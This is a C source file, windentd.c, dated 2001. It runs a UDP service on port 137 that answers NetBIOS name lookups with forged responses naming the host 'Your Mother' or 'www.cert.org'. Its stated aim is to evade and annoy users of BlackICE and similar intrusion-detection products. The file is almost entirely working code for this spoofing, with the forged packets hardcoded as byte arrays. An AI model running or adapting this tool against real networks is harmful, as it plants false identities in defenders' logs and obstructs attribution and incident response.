/***********************************************************************/
/* windentd.c -- Simple demonstration program to spoof a Windows NMB   */
/*               name response -- primary purpose is to annoy/evade    */
/*               BlackICE Defender (and similar IDS products) users :).*/
/*                                                                     */
/***********************************************************************/
/*  Windentd is (C) 2001 Insecure.Com LLC. This                        */
/*  program is free software; you can redistribute it and/or modify    */
/*  it under the terms of the GNU General Public License as published  */
/*  by the Free Software Foundation; Version 2.  This guarantees your  */
/*  right to use, modify, and redistribute this software under certain */
/*  conditions.  If this license is unacceptable to you, we may be     */
/*  willing to sell alternative licenses (contact sales@insecure.com). */
/*                                                                     */
/*  If you received these files with a written license agreement       */
/*  stating terms other than the (GPL) terms above, then that          */
/*  alternative license agreement takes precendence over this comment. */
/*                                                                     */
/*  Source is provided to this software because we believe users have  */
/*  a right to know exactly what a program is going to do before they  */
/*  run it.  This also allows you to audit the software for security   */
/*  holes (none have been found so far).                               */
/*                                                                     */
/*  Source code also allows you to port Icepick to new platforms, fix  */
/*  bugs, and add new features.  You are highly encouraged to send     */
/*  your changes to fyodor@insecure.org for possible incorporation     */
/*  into the main distribution.  By sending these changes to Fyodor or */
/*  one the insecure.org development mailing lists, it is assumed that */
/*  you are offering Fyodor the unlimited, non-exclusive right to      */
/*  reuse, modify, and relicense the code.  This is important because  */
/*  the inability to relicense code has caused devastating problems    */
/*  for other Free Software projects (such as KDE and NASM).  Nmap     */
/*  will always be available Open Source.  If you wish to specify      */
/*  special license conditions of your contributions, just say so      */
/*  when you send them.                                                */
/*                                                                     */
/*  This program is distributed in the hope that it will be useful,    */
/*  but WITHOUT ANY WARRANTY; without even the implied warranty of     */
/*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU  */
/*  General Public License for more details (                          */
/*  http://www.gnu.org/copyleft/gpl.html ).                            */
/*                                                                     */
/***********************************************************************/

/* $Id: nmap.c,v 1.199 2001/03/27 03:07:56 fyodor Exp $ */

/* Usage: windent [-m | -c] */

#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <strings.h>
#include <stdlib.h>

#include "nmap_error.h"

extern char *optarg;
extern int optind, opterr, optopt;

int debugging = 0;

/* Yes -- it should be flexible and let you specify arbitrary
   name/workgroup/etc -- but this is just meant as a demonstration */

/* Note that sometimes BlackICE will cut up to the first space after caching so in the case below, after the first report, "Your" will be reported */
char yourmom[] = "\x80\xb0\x84\x00\x00\x00\x00\x01\x00\x00\x00\x00\x20\x43\x4b\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x21\x00\x01\x00\x00\x00\x00\x00\x77\x04Your Mother\x20\x20\x20\x20\x00\x04\x00\x57\x4f\x52\x4b\x47\x52\x4f\x55\x50\x20\x20\x20\x20\x20\x20\x00\x84\x00Your Mother\x20\x20\x20\x20\x03\x04\x00\x41\x44\x4d\x49\x4e\x49\x53\x54\x52\x41\x54\x4f\x52\x20\x20\x03\x04\x00\x00\xa0\xcc\x3e\x53\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x00\x2e\x00\x64\x00\x61\x00\x74\x00\x5f\x00\x34\x00\x35\x00\x38\x00\x37\x00\x35\x00\x32\x00\x00\x00\x4d\x00\x00\x20\x00\x01\x00\x00\x00";
/* char yourmom[] = "\x80\xb0\x84\x00\x00\x00\x00\x01\x00\x00\x00\x00\x20\x43\x4b\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x21\x00\x01\x00\x00\x00\x00\x00\x77\x04YOUR_MOTHER\x20\x20\x20\x20\x00\x04\x00\x57\x4f\x52\x4b\x47\x52\x4f\x55\x50\x20\x20\x20\x20\x20\x20\x00\x84\x00\x59\x4f\x55\x52\x20\x4d\x4f\x54\x48\x45\x52\x20\x20\x20\x20\x03\x04\x00\x41\x44\x4d\x49\x4e\x49\x53\x54\x52\x41\x54\x4f\x52\x20\x20\x03\x04\x00\x00\xa0\xcc\x3e\x53\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x00\x2e\x00\x64\x00\x61\x00\x74\x00\x5f\x00\x34\x00\x35\x00\x38\x00\x37\x00\x35\x00\x32\x00\x00\x00\x4d\x00\x00\x20\x00\x01\x00\x00\x00"; */

char cert[] = "\x80\xb0\x84\x00\x00\x00\x00\x01\x00\x00\x00\x00\x20\x43\x4b\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x21\x00\x01\x00\x00\x00\x00\x00\x77\x04www.cert.org\x20\x20\x20\x00\x04\x00\x57\x4f\x52\x4b\x47\x52\x4f\x55\x50\x20\x20\x20\x20\x20\x20\x00\x84\x00www.cert.org\x20\x20\x20\x03\x04\x00\x41\x44\x4d\x49\x4e\x49\x53\x54\x52\x41\x54\x4f\x52\x20\x20\x03\x04\x00\x00\xa0\xcc\x3e\x53\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\x70\x04\x72\x65\x61\x6c\x03\x63\x6f\x6d\x00\x00\x01\x00\x01\x00\x38\x00\x37\x00\x35\x00\x32\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff";

void usage() {
  error("Usage: windentd [-m | -c] [-d (debuglevel)] (-m uses \"Your Mother\" and -c is \"www.cert.org\"\n\n");
  exit(0);
}

/* Return a socket bound to the udp port given (or -1 in the case of error) */
int bind_to_udp_port(unsigned short portno) {
  int sd = -1;
  struct in_addr bindip;
  struct sockaddr_in salocal;
  int one = 1;
  bindip.s_addr = htonl(INADDR_ANY);
  bzero(&salocal, sizeof(salocal));
  salocal.sin_family = AF_INET;
  salocal.sin_port = htons(portno);
  salocal.sin_addr.s_addr = bindip.s_addr;

  sd = socket(AF_INET, SOCK_DGRAM, 0);
  if (sd == -1) {
    pfatal("Failed to create datagram socket");
  }

  setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));

  if (bind(sd,(struct sockaddr *) &salocal, sizeof(salocal)) == -1) {
    pfatal("Attempt to bind our datagram socket socket (are you root?)");
  }

  return sd;
}


int main(int argc, char *argv[]) {
  int opt;
  char *attack = yourmom;
  int attacklen = sizeof(yourmom) - 1;
  int sd = -1;
  char buf[1024];
  struct sockaddr_in client;
  int clientsz = sizeof(client);
  int msgsz;
  int tmpi;

  signal(SIGPIPE, SIG_IGN);

  while ((opt = getopt(argc, argv, "cd:hm")) != -1) {
    switch(opt) {
    case 'c':
      attack = cert;
      attacklen = sizeof(cert) - 1;
      break;
    case 'd':
      debugging = atoi(optarg);
      break;
    case 'h':
      usage();
      break;
    case 'm':
      attack = yourmom;
      attacklen = sizeof(yourmom) - 1;
      break;
    case '?':
    default:
      error("Invalid arguments");
      usage();
      break;
    }
  }

  /* OK, our args are parsed so we bind to 137 and just wait for packets */
  sd = bind_to_udp_port(137);
  if (sd == -1)
    fatal("Unable to bind to port 137 -- are you root?");

  if (debugging)
    printf("windentd started: successfully bound to port 137\n");

  while((msgsz = recvfrom(sd, buf, sizeof(buf) -1, 0, &client, &clientsz)) >= 0) {

    if (debugging > 1) {
      buf[msgsz] = '\0';
      printf("Got message from %s (%d bytes)\n", inet_ntoa(client.sin_addr), msgsz); 
    }

    if (msgsz == 50 && (strncmp(buf + 12, " CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 33) == 0)) {
      if (debugging)
	printf("Received NMB name lookup request from %s. TrnId=%X\n", inet_ntoa(client.sin_addr), ntohs(*((unsigned short *)buf)));
      /* Time to respond in kind :) */
      if ((tmpi = sendto(sd, attack, attacklen, 0, &client, sizeof(client))) != attacklen) {
	if (tmpi == -1)
	  pfatal("Sending response back to %s\n", inet_ntoa(client.sin_addr));
	else fatal("Tried to send %d bytes but only successfully sent %d\n",
		  attacklen, tmpi);
      }
    }

    clientsz = sizeof(client);
  }
  sleep(300);

  close(sd);
  return 0;
}
